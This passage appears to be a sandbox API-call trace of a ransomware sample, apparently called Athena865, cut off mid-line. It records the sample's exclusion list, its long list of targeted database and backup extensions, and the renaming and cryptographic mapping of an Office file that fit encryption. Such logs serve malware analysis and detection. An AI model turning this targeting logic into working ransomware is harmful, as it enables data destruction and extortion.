[0075.805] lstrlenW (lpString="p96") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="p96") returned -1 [0075.805] lstrlenW (lpString="p97") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="p97") returned -1 [0075.805] lstrlenW (lpString="pan") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="pan") returned -1 [0075.805] lstrlenW (lpString="pdb") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="pdb") returned -1 [0075.806] lstrlenW (lpString="pdm") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="pdm") returned -1 [0075.806] lstrlenW (lpString="pnz") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="pnz") returned -1 [0075.806] lstrlenW (lpString="qry") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="qry") returned -1 [0075.806] lstrlenW (lpString="qvd") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="qvd") returned -1 [0075.806] lstrlenW (lpString="rbf") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="rbf") returned -1 [0075.806] lstrlenW (lpString="rctd") returned 4 [0075.806] lstrcmpiW (lpString1=".INF", lpString2="rctd") returned -1 [0075.806] lstrlenW (lpString="rod") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="rod") returned -1 [0075.806] lstrlenW (lpString="rodx") returned 4 [0075.806] lstrcmpiW (lpString1=".INF", lpString2="rodx") returned -1 [0075.806] lstrlenW (lpString="rpd") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="rpd") returned -1 [0075.806] lstrlenW (lpString="rsd") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="rsd") returned -1 [0075.806] lstrlenW (lpString="sas7bdat") returned 8 [0075.806] lstrcmpiW (lpString1="OL11.INF", lpString2="sas7bdat") returned -1 [0075.806] lstrlenW (lpString="sbf") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="sbf") returned -1 [0075.806] lstrlenW (lpString="scx") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="scx") returned -1 [0075.806] lstrlenW (lpString="sdb") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="sdb") returned -1 [0075.806] lstrlenW (lpString="sdc") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="sdc") returned -1 [0075.806] lstrlenW (lpString="sdf") returned 3 [0075.806] lstrcmpiW (lpString1="INF", lpString2="sdf") returned -1 [0075.806] lstrlenW (lpString="sis") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="sis") returned -1 [0075.807] lstrlenW (lpString="spq") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="spq") returned -1 [0075.807] lstrlenW (lpString="te") returned 2 [0075.807] lstrcmpiW (lpString1="NF", lpString2="te") returned -1 [0075.807] lstrlenW (lpString="teacher") returned 7 [0075.807] lstrcmpiW (lpString1="L11.INF", lpString2="teacher") returned -1 [0075.807] lstrlenW (lpString="tmd") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="tmd") returned -1 [0075.807] lstrlenW (lpString="tps") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="tps") returned -1 [0075.807] lstrlenW (lpString="trc") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="trc") returned -1 [0075.807] lstrlenW (lpString="trc") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="trc") returned -1 [0075.807] lstrlenW (lpString="trm") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="trm") returned -1 [0075.807] lstrlenW (lpString="udb") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="udb") returned -1 [0075.807] lstrlenW (lpString="udl") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="udl") returned -1 [0075.807] lstrlenW (lpString="usr") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="usr") returned -1 [0075.807] lstrlenW (lpString="v12") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="v12") returned -1 [0075.807] lstrlenW (lpString="vis") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="vis") returned -1 [0075.807] lstrlenW (lpString="vpd") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="vpd") returned -1 [0075.807] lstrlenW (lpString="vvv") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="vvv") returned -1 [0075.807] lstrlenW (lpString="wdb") returned 3 [0075.807] lstrcmpiW (lpString1="INF", lpString2="wdb") returned -1 [0075.808] lstrlenW (lpString="wmdb") returned 4 [0075.808] lstrcmpiW (lpString1=".INF", lpString2="wmdb") returned -1 [0075.808] lstrlenW (lpString="wrk") returned 3 [0075.808] lstrcmpiW (lpString1="INF", lpString2="wrk") returned -1 [0075.808] lstrlenW (lpString="xdb") returned 3 [0075.808] lstrcmpiW (lpString1="INF", lpString2="xdb") returned -1 [0075.808] lstrlenW (lpString="xld") returned 3 [0075.808] lstrcmpiW (lpString1="INF", lpString2="xld") returned -1 [0075.808] lstrlenW (lpString="xmlff") returned 5 [0075.808] lstrcmpiW (lpString1="1.INF", lpString2="xmlff") returned -1 [0075.808] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF.Athena865") returned 64 [0075.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf.athena865"), dwFlags=0x1) returned 1 [0075.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.815] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2636) returned 1 [0075.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.815] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.816] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.816] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.816] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x17c [0075.818] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0075.822] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.823] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.823] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.824] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.824] CloseHandle (hObject=0x17c) returned 1 [0075.824] CloseHandle (hObject=0x154) returned 1 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.824] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0075.824] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="..") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="windows") returned -1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="bootmgr") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="temp") returned -1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="pagefile.sys") returned -1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="boot") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="ids.txt") returned 1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="ntuser.dat") returned -1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="perflogs") returned -1 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2="MSBuild") returned 1 [0075.825] lstrlenW (lpString="MSCOL11.PPD") returned 11 [0075.825] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSCOL11.PPD" | out: lpString1="MSCOL11.PPD") returned="MSCOL11.PPD" [0075.825] lstrlenW (lpString="MSCOL11.PPD") returned 11 [0075.825] lstrlenW (lpString="Athena865") returned 9 [0075.825] lstrcmpiW (lpString1="COL11.PPD", lpString2="Athena865") returned 1 [0075.825] lstrlenW (lpString=".dll") returned 4 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".dll") returned 1 [0075.825] lstrlenW (lpString=".lnk") returned 4 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".lnk") returned 1 [0075.825] lstrlenW (lpString=".ini") returned 4 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".ini") returned 1 [0075.825] lstrlenW (lpString=".sys") returned 4 [0075.825] lstrcmpiW (lpString1="MSCOL11.PPD", lpString2=".sys") returned 1 [0075.825] lstrlenW (lpString="MSCOL11.PPD") returned 11 [0075.825] lstrlenW (lpString="bak") returned 3 [0075.825] lstrcmpiW (lpString1="PPD", lpString2="bak") returned 1 [0075.825] lstrlenW (lpString="ba_") returned 3 [0075.825] lstrcmpiW (lpString1="PPD", lpString2="ba_") returned 1 [0075.825] lstrlenW (lpString="dbb") returned 3 [0075.825] lstrcmpiW (lpString1="PPD", lpString2="dbb") returned 1 [0075.826] lstrlenW (lpString="vmdk") returned 4 [0075.826] lstrcmpiW (lpString1=".PPD", lpString2="vmdk") returned -1 [0075.826] lstrlenW (lpString="rar") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="rar") returned -1 [0075.826] lstrlenW (lpString="zip") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="zip") returned -1 [0075.826] lstrlenW (lpString="tgz") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="tgz") returned -1 [0075.826] lstrlenW (lpString="vbox") returned 4 [0075.826] lstrcmpiW (lpString1=".PPD", lpString2="vbox") returned -1 [0075.826] lstrlenW (lpString="vdi") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="vdi") returned -1 [0075.826] lstrlenW (lpString="vhd") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="vhd") returned -1 [0075.826] lstrlenW (lpString="vhdx") returned 4 [0075.826] lstrcmpiW (lpString1=".PPD", lpString2="vhdx") returned -1 [0075.826] lstrlenW (lpString="avhd") returned 4 [0075.826] lstrcmpiW (lpString1=".PPD", lpString2="avhd") returned -1 [0075.826] lstrlenW (lpString="db") returned 2 [0075.826] lstrcmpiW (lpString1="PD", lpString2="db") returned 1 [0075.826] lstrlenW (lpString="db2") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="db2") returned 1 [0075.826] lstrlenW (lpString="db3") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="db3") returned 1 [0075.826] lstrlenW (lpString="dbf") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="dbf") returned 1 [0075.826] lstrlenW (lpString="mdf") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="mdf") returned 1 [0075.826] lstrlenW (lpString="mdb") returned 3 [0075.826] lstrcmpiW (lpString1="PPD", lpString2="mdb") returned 1 [0075.826] lstrlenW (lpString="sql") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="sql") returned -1 [0075.827] lstrlenW (lpString="sqlite") returned 6 [0075.827] lstrcmpiW (lpString1="11.PPD", lpString2="sqlite") returned -1 [0075.827] lstrlenW (lpString="sqlite3") returned 7 [0075.827] lstrcmpiW (lpString1="L11.PPD", lpString2="sqlite3") returned -1 [0075.827] lstrlenW (lpString="sqlitedb") returned 8 [0075.827] lstrcmpiW (lpString1="OL11.PPD", lpString2="sqlitedb") returned -1 [0075.827] lstrlenW (lpString="xml") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="xml") returned -1 [0075.827] lstrlenW (lpString="$er") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="$er") returned 1 [0075.827] lstrlenW (lpString="4dd") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="4dd") returned 1 [0075.827] lstrlenW (lpString="4dl") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="4dl") returned 1 [0075.827] lstrlenW (lpString="^^^") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="^^^") returned 1 [0075.827] lstrlenW (lpString="abs") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="abs") returned 1 [0075.827] lstrlenW (lpString="abx") returned 3 [0075.827] lstrcmpiW (lpString1="PPD", lpString2="abx") returned 1 [0075.827] lstrlenW (lpString="accdb") returned 5 [0075.827] lstrcmpiW (lpString1="1.PPD", lpString2="accdb") returned -1 [0075.827] lstrlenW (lpString="accdc") returned 5 [0075.827] lstrcmpiW (lpString1="1.PPD", lpString2="accdc") returned -1 [0075.827] lstrlenW (lpString="accde") returned 5 [0075.827] lstrcmpiW (lpString1="1.PPD", lpString2="accde") returned -1 [0075.827] lstrlenW (lpString="accdr") returned 5 [0075.827] lstrcmpiW (lpString1="1.PPD", lpString2="accdr") returned -1 [0075.827] lstrlenW (lpString="accdt") returned 5 [0075.827] lstrcmpiW (lpString1="1.PPD", lpString2="accdt") returned -1 [0075.827] lstrlenW (lpString="accdw") returned 5 [0075.828] lstrcmpiW (lpString1="1.PPD", lpString2="accdw") returned -1 [0075.828] lstrlenW (lpString="accft") returned 5 [0075.828] lstrcmpiW (lpString1="1.PPD", lpString2="accft") returned -1 [0075.828] lstrlenW (lpString="adb") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="adb") returned 1 [0075.828] lstrlenW (lpString="adb") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="adb") returned 1 [0075.828] lstrlenW (lpString="ade") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="ade") returned 1 [0075.828] lstrlenW (lpString="adf") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="adf") returned 1 [0075.828] lstrlenW (lpString="adn") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="adn") returned 1 [0075.828] lstrlenW (lpString="adp") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="adp") returned 1 [0075.828] lstrlenW (lpString="alf") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="alf") returned 1 [0075.828] lstrlenW (lpString="ask") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="ask") returned 1 [0075.828] lstrlenW (lpString="btr") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="btr") returned 1 [0075.828] lstrlenW (lpString="cat") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="cat") returned 1 [0075.828] lstrlenW (lpString="cdb") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="cdb") returned 1 [0075.828] lstrlenW (lpString="ckp") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="ckp") returned 1 [0075.828] lstrlenW (lpString="cma") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="cma") returned 1 [0075.828] lstrlenW (lpString="cpd") returned 3 [0075.828] lstrcmpiW (lpString1="PPD", lpString2="cpd") returned 1 [0075.828] lstrlenW (lpString="dacpac") returned 6 [0075.828] lstrcmpiW (lpString1="11.PPD", lpString2="dacpac") returned -1 [0075.829] lstrlenW (lpString="dad") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dad") returned 1 [0075.829] lstrlenW (lpString="dadiagrams") returned 10 [0075.829] lstrcmpiW (lpString1="SCOL11.PPD", lpString2="dadiagrams") returned 1 [0075.829] lstrlenW (lpString="daschema") returned 8 [0075.829] lstrcmpiW (lpString1="OL11.PPD", lpString2="daschema") returned 1 [0075.829] lstrlenW (lpString="db-journal") returned 10 [0075.829] lstrcmpiW (lpString1="SCOL11.PPD", lpString2="db-journal") returned 1 [0075.829] lstrlenW (lpString="db-shm") returned 6 [0075.829] lstrcmpiW (lpString1="11.PPD", lpString2="db-shm") returned -1 [0075.829] lstrlenW (lpString="db-wal") returned 6 [0075.829] lstrcmpiW (lpString1="11.PPD", lpString2="db-wal") returned -1 [0075.829] lstrlenW (lpString="dbc") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dbc") returned 1 [0075.829] lstrlenW (lpString="dbs") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dbs") returned 1 [0075.829] lstrlenW (lpString="dbt") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dbt") returned 1 [0075.829] lstrlenW (lpString="dbv") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dbv") returned 1 [0075.829] lstrlenW (lpString="dbx") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dbx") returned 1 [0075.829] lstrlenW (lpString="dcb") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dcb") returned 1 [0075.829] lstrlenW (lpString="dct") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dct") returned 1 [0075.829] lstrlenW (lpString="dcx") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dcx") returned 1 [0075.829] lstrlenW (lpString="ddl") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="ddl") returned 1 [0075.829] lstrlenW (lpString="dlis") returned 4 [0075.829] lstrcmpiW (lpString1=".PPD", lpString2="dlis") returned -1 [0075.829] lstrlenW (lpString="dp1") returned 3 [0075.829] lstrcmpiW (lpString1="PPD", lpString2="dp1") returned 1 [0075.830] lstrlenW (lpString="dqy") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="dqy") returned 1 [0075.830] lstrlenW (lpString="dsk") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="dsk") returned 1 [0075.830] lstrlenW (lpString="dsn") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="dsn") returned 1 [0075.830] lstrlenW (lpString="dtsx") returned 4 [0075.830] lstrcmpiW (lpString1=".PPD", lpString2="dtsx") returned -1 [0075.830] lstrlenW (lpString="dxl") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="dxl") returned 1 [0075.830] lstrlenW (lpString="eco") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="eco") returned 1 [0075.830] lstrlenW (lpString="ecx") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="ecx") returned 1 [0075.830] lstrlenW (lpString="edb") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="edb") returned 1 [0075.830] lstrlenW (lpString="epim") returned 4 [0075.830] lstrcmpiW (lpString1=".PPD", lpString2="epim") returned -1 [0075.830] lstrlenW (lpString="fcd") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="fcd") returned 1 [0075.830] lstrlenW (lpString="fdb") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="fdb") returned 1 [0075.830] lstrlenW (lpString="fic") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="fic") returned 1 [0075.830] lstrlenW (lpString="flexolibrary") returned 12 [0075.830] lstrlenW (lpString="fm5") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="fm5") returned 1 [0075.830] lstrlenW (lpString="fmp") returned 3 [0075.830] lstrcmpiW (lpString1="PPD", lpString2="fmp") returned 1 [0075.830] lstrlenW (lpString="fmp12") returned 5 [0075.830] lstrcmpiW (lpString1="1.PPD", lpString2="fmp12") returned -1 [0075.830] lstrlenW (lpString="fmpsl") returned 5 [0075.830] lstrcmpiW (lpString1="1.PPD", lpString2="fmpsl") returned -1 [0075.831] lstrlenW (lpString="fol") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fol") returned 1 [0075.831] lstrlenW (lpString="fp3") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fp3") returned 1 [0075.831] lstrlenW (lpString="fp4") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fp4") returned 1 [0075.831] lstrlenW (lpString="fp5") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fp5") returned 1 [0075.831] lstrlenW (lpString="fp7") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fp7") returned 1 [0075.831] lstrlenW (lpString="fpt") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="fpt") returned 1 [0075.831] lstrlenW (lpString="frm") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="frm") returned 1 [0075.831] lstrlenW (lpString="gdb") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="gdb") returned 1 [0075.831] lstrlenW (lpString="gdb") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="gdb") returned 1 [0075.831] lstrlenW (lpString="grdb") returned 4 [0075.831] lstrcmpiW (lpString1=".PPD", lpString2="grdb") returned -1 [0075.831] lstrlenW (lpString="gwi") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="gwi") returned 1 [0075.831] lstrlenW (lpString="hdb") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="hdb") returned 1 [0075.831] lstrlenW (lpString="his") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="his") returned 1 [0075.831] lstrlenW (lpString="ib") returned 2 [0075.831] lstrcmpiW (lpString1="PD", lpString2="ib") returned 1 [0075.831] lstrlenW (lpString="idb") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="idb") returned 1 [0075.831] lstrlenW (lpString="ihx") returned 3 [0075.831] lstrcmpiW (lpString1="PPD", lpString2="ihx") returned 1 [0075.832] lstrlenW (lpString="itdb") returned 4 [0075.832] lstrcmpiW (lpString1=".PPD", lpString2="itdb") returned -1 [0075.832] lstrlenW (lpString="itw") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="itw") returned 1 [0075.832] lstrlenW (lpString="jet") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="jet") returned 1 [0075.832] lstrlenW (lpString="jtx") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="jtx") returned 1 [0075.832] lstrlenW (lpString="kdb") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="kdb") returned 1 [0075.832] lstrlenW (lpString="kexi") returned 4 [0075.832] lstrcmpiW (lpString1=".PPD", lpString2="kexi") returned -1 [0075.832] lstrlenW (lpString="kexic") returned 5 [0075.832] lstrcmpiW (lpString1="1.PPD", lpString2="kexic") returned -1 [0075.832] lstrlenW (lpString="kexis") returned 5 [0075.832] lstrcmpiW (lpString1="1.PPD", lpString2="kexis") returned -1 [0075.832] lstrlenW (lpString="lgc") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="lgc") returned 1 [0075.832] lstrlenW (lpString="lwx") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="lwx") returned 1 [0075.832] lstrlenW (lpString="maf") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="maf") returned 1 [0075.832] lstrlenW (lpString="maq") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="maq") returned 1 [0075.832] lstrlenW (lpString="mar") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="mar") returned 1 [0075.832] lstrlenW (lpString="marshal") returned 7 [0075.832] lstrcmpiW (lpString1="L11.PPD", lpString2="marshal") returned -1 [0075.832] lstrlenW (lpString="mas") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="mas") returned 1 [0075.832] lstrlenW (lpString="mav") returned 3 [0075.832] lstrcmpiW (lpString1="PPD", lpString2="mav") returned 1 [0075.833] lstrlenW (lpString="maw") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="maw") returned 1 [0075.833] lstrlenW (lpString="mdbhtml") returned 7 [0075.833] lstrcmpiW (lpString1="L11.PPD", lpString2="mdbhtml") returned -1 [0075.833] lstrlenW (lpString="mdn") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mdn") returned 1 [0075.833] lstrlenW (lpString="mdt") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mdt") returned 1 [0075.833] lstrlenW (lpString="mfd") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mfd") returned 1 [0075.833] lstrlenW (lpString="mpd") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mpd") returned 1 [0075.833] lstrlenW (lpString="mrg") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mrg") returned 1 [0075.833] lstrlenW (lpString="mud") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mud") returned 1 [0075.833] lstrlenW (lpString="mwb") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="mwb") returned 1 [0075.833] lstrlenW (lpString="myd") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="myd") returned 1 [0075.833] lstrlenW (lpString="ndf") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="ndf") returned 1 [0075.833] lstrlenW (lpString="nnt") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="nnt") returned 1 [0075.833] lstrlenW (lpString="nrmlib") returned 6 [0075.833] lstrcmpiW (lpString1="11.PPD", lpString2="nrmlib") returned -1 [0075.833] lstrlenW (lpString="ns2") returned 3 [0075.833] lstrcmpiW (lpString1="PPD", lpString2="ns2") returned 1 [0075.833] lstrlenW (lpString="ns3") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="ns3") returned 1 [0075.834] lstrlenW (lpString="ns4") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="ns4") returned 1 [0075.834] lstrlenW (lpString="nsf") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="nsf") returned 1 [0075.834] lstrlenW (lpString="nv") returned 2 [0075.834] lstrcmpiW (lpString1="PD", lpString2="nv") returned 1 [0075.834] lstrlenW (lpString="nv2") returned 3 [0075.834] lstrcmpiW 